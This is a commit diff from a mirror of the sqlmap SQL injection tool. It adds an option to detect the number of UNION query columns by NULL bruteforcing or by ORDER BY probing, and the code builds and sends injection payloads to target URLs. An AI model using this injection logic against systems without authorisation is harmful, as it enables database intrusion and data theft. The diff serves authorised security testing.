mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-07-07 13:27:08 +03:00
Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause.
This commit is contained in:
parent
f92b76a8b0
commit
4ae464c80d
|
@ -1,13 +1,18 @@
|
||||||
sqlmap (0.6.4-1) stable; urgency=low
|
sqlmap (0.6.4-1) stable; urgency=low
|
||||||
|
|
||||||
* Major improvement to the comparison algorithm to make it work also if
|
* Major enhancement to make the comparison algorithm work properly also
|
||||||
the page content changes at each refresh; (work in progress)
|
on url not stables automatically by using the difflib Sequence Matcher
|
||||||
|
object;
|
||||||
* Major enhancement to support SQL data definition statements, SQL data
|
* Major enhancement to support SQL data definition statements, SQL data
|
||||||
manipulation statements, etc from user in SQL query and SQL shell if
|
manipulation statements, etc from user in SQL query and SQL shell if
|
||||||
stacked queries are supported by the web application technology in
|
stacked queries are supported by the web application technology in
|
||||||
use;
|
use;
|
||||||
* Minor enhancement to support an option (--is-dba) to show if the
|
* Minor enhancement to support an option (--is-dba) to show if the
|
||||||
current user is a database management system administrator;
|
current user is a database management system administrator;
|
||||||
|
* Minor enhancement to support an option (--union-tech) to specify the
|
||||||
|
technique to use to detect the number of columns used in the web
|
||||||
|
application SELECT statement: NULL bruteforcing (default) or ORDER BY
|
||||||
|
clause;
|
||||||
* Added support internally to forge CASE statements, used only by
|
* Added support internally to forge CASE statements, used only by
|
||||||
--is-dba query at the moment;
|
--is-dba query at the moment;
|
||||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||||
|
|
|
@ -239,6 +239,25 @@ def __setGoogleDorking():
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
|
def __setUnionTech():
|
||||||
|
if not conf.uTech:
|
||||||
|
conf.uTech = "bf"
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
if conf.uTech and conf.uTech not in ( "bf", "ob" ):
|
||||||
|
infoMsg = "resetting the UNION query detection technique to "
|
||||||
|
infoMsg += "'bf', '%s' is not a valid technique" % conf.uTech
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
conf.uTech = "bf"
|
||||||
|
|
||||||
|
else:
|
||||||
|
debugMsg = "setting UNION query detection technique to "
|
||||||
|
debugMsg += "'%s'" % conf.uTech
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS option.
|
Force the back-end DBMS option.
|
||||||
|
@ -741,6 +760,7 @@ def init(inputOptions=advancedDict()):
|
||||||
__setHTTPProxy()
|
__setHTTPProxy()
|
||||||
__setThreads()
|
__setThreads()
|
||||||
__setDBMS()
|
__setDBMS()
|
||||||
|
__setUnionTech()
|
||||||
__setGoogleDorking()
|
__setGoogleDorking()
|
||||||
__setMultipleTargets()
|
__setMultipleTargets()
|
||||||
__urllib2Opener()
|
__urllib2Opener()
|
||||||
|
|
|
@ -63,6 +63,7 @@ optDict = {
|
||||||
"stackedTest": "boolean",
|
"stackedTest": "boolean",
|
||||||
"timeTest": "boolean",
|
"timeTest": "boolean",
|
||||||
"unionTest": "boolean",
|
"unionTest": "boolean",
|
||||||
|
"uTech": "string",
|
||||||
"unionUse": "boolean",
|
"unionUse": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
|
@ -169,6 +169,9 @@ def cmdLineParser():
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Test for UNION query (inband) SQL injection")
|
help="Test for UNION query (inband) SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-tech", dest="uTech",
|
||||||
|
help="Technique to test for UNION query SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-use", dest="unionUse",
|
techniques.add_option("--union-use", dest="unionUse",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Use the UNION query (inband) SQL injection "
|
help="Use the UNION query (inband) SQL injection "
|
||||||
|
|
|
@ -33,14 +33,34 @@ from lib.core.session import setUnion
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __effectiveUnionTest(query, comment):
|
def __forgeUserFriendlyValue(payload):
|
||||||
|
value = ""
|
||||||
|
|
||||||
|
if kb.injPlace == "GET":
|
||||||
|
value = "%s?%s" % (conf.url, payload)
|
||||||
|
elif kb.injPlace == "POST":
|
||||||
|
value = "URL:\t'%s'" % conf.url
|
||||||
|
value += "\nPOST:\t'%s'\n" % payload
|
||||||
|
elif kb.injPlace == "Cookie":
|
||||||
|
value = "URL:\t'%s'" % conf.url
|
||||||
|
value += "\nCookie:\t'%s'\n" % payload
|
||||||
|
elif kb.injPlace == "User-Agent":
|
||||||
|
value = "URL:\t\t'%s'" % conf.url
|
||||||
|
value += "\nUser-Agent:\t'%s'\n" % payload
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def __unionTestByNULLBruteforce(comment):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
SQL injection vulnerability. The test is done up to 50 columns
|
SQL injection vulnerability. The test is done up to 50 columns
|
||||||
on the target database table
|
on the target database table
|
||||||
"""
|
"""
|
||||||
|
|
||||||
resultDict = {}
|
columns = None
|
||||||
|
value = None
|
||||||
|
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||||
|
|
||||||
for count in range(0, 50):
|
for count in range(0, 50):
|
||||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||||
|
@ -53,32 +73,38 @@ def __effectiveUnionTest(query, comment):
|
||||||
query += " FROM DUAL"
|
query += " FROM DUAL"
|
||||||
|
|
||||||
commentedQuery = agent.postfixQuery(query, comment)
|
commentedQuery = agent.postfixQuery(query, comment)
|
||||||
payload = agent.payload(newValue=commentedQuery)
|
payload = agent.payload(newValue=commentedQuery)
|
||||||
newResult = Request.queryPage(payload, getSeqMatcher=True)
|
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||||
|
|
||||||
if not newResult in resultDict.keys():
|
if seqMatcher >= 0.6:
|
||||||
resultDict[newResult] = (1, commentedQuery)
|
columns = count + 1
|
||||||
else:
|
value = __forgeUserFriendlyValue(payload)
|
||||||
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
|
||||||
|
|
||||||
if count > 3:
|
break
|
||||||
for ratio, element in resultDict.items():
|
|
||||||
if element[0] == 1 and ratio > 0.5:
|
|
||||||
if kb.injPlace == "GET":
|
|
||||||
value = "%s?%s" % (conf.url, element[1])
|
|
||||||
elif kb.injPlace == "POST":
|
|
||||||
value = "URL:\t'%s'" % conf.url
|
|
||||||
value += "\nPOST:\t'%s'\n" % element[1]
|
|
||||||
elif kb.injPlace == "Cookie":
|
|
||||||
value = "URL:\t'%s'" % conf.url
|
|
||||||
value += "\nCookie:\t'%s'\n" % element[1]
|
|
||||||
elif kb.injPlace == "User-Agent":
|
|
||||||
value = "URL:\t\t'%s'" % conf.url
|
|
||||||
value += "\nUser-Agent:\t'%s'\n" % element[1]
|
|
||||||
|
|
||||||
return value
|
return value, columns
|
||||||
|
|
||||||
return None
|
|
||||||
|
def __unionTestByOrderBy(comment):
|
||||||
|
columns = None
|
||||||
|
value = None
|
||||||
|
|
||||||
|
for count in range(1, 51):
|
||||||
|
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||||
|
orderByQuery = agent.postfixQuery(query, comment)
|
||||||
|
payload = agent.payload(newValue=orderByQuery)
|
||||||
|
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||||
|
|
||||||
|
if seqMatcher >= 0.6:
|
||||||
|
columns = count
|
||||||
|
elif columns:
|
||||||
|
value = __forgeUserFriendlyValue(prevPayload)
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
prevPayload = payload
|
||||||
|
|
||||||
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def unionTest():
|
def unionTest():
|
||||||
|
@ -87,19 +113,29 @@ def unionTest():
|
||||||
SQL injection vulnerability. The test is done up to 3*50 times
|
SQL injection vulnerability. The test is done up to 3*50 times
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.uTech == "ob":
|
||||||
|
technique = "ORDER BY clause"
|
||||||
|
else:
|
||||||
|
technique = "NULL bruteforcing"
|
||||||
|
|
||||||
logMsg = "testing inband sql injection on parameter "
|
logMsg = "testing inband sql injection on parameter "
|
||||||
logMsg += "'%s'" % kb.injParameter
|
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
value = ""
|
value = ""
|
||||||
|
columns = None
|
||||||
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
|
||||||
|
|
||||||
for comment in (queries[kb.dbms].comment, ""):
|
for comment in (queries[kb.dbms].comment, ""):
|
||||||
value = __effectiveUnionTest(query, comment)
|
if conf.uTech == "ob":
|
||||||
|
value, columns = __unionTestByOrderBy(comment)
|
||||||
|
else:
|
||||||
|
value, columns = __unionTestByNULLBruteforce(comment)
|
||||||
|
|
||||||
if value:
|
print value
|
||||||
setUnion(comment, value.count("NULL"))
|
print columns
|
||||||
|
|
||||||
|
if columns:
|
||||||
|
setUnion(comment, columns)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
|
@ -142,6 +142,13 @@ timeTest = False
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
unionTest = False
|
unionTest = False
|
||||||
|
|
||||||
|
# Technique to test for UNION query SQL injection
|
||||||
|
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
|
||||||
|
# clause (ob)
|
||||||
|
# Valid: bf, ob
|
||||||
|
# Default: bf
|
||||||
|
uTech = bf
|
||||||
|
|
||||||
# Use the UNION query (inband) SQL injection to retrieve the queries
|
# Use the UNION query (inband) SQL injection to retrieve the queries
|
||||||
# output. No need to go blind.
|
# output. No need to go blind.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
|
|
Loading…
Reference in New Issue
Block a user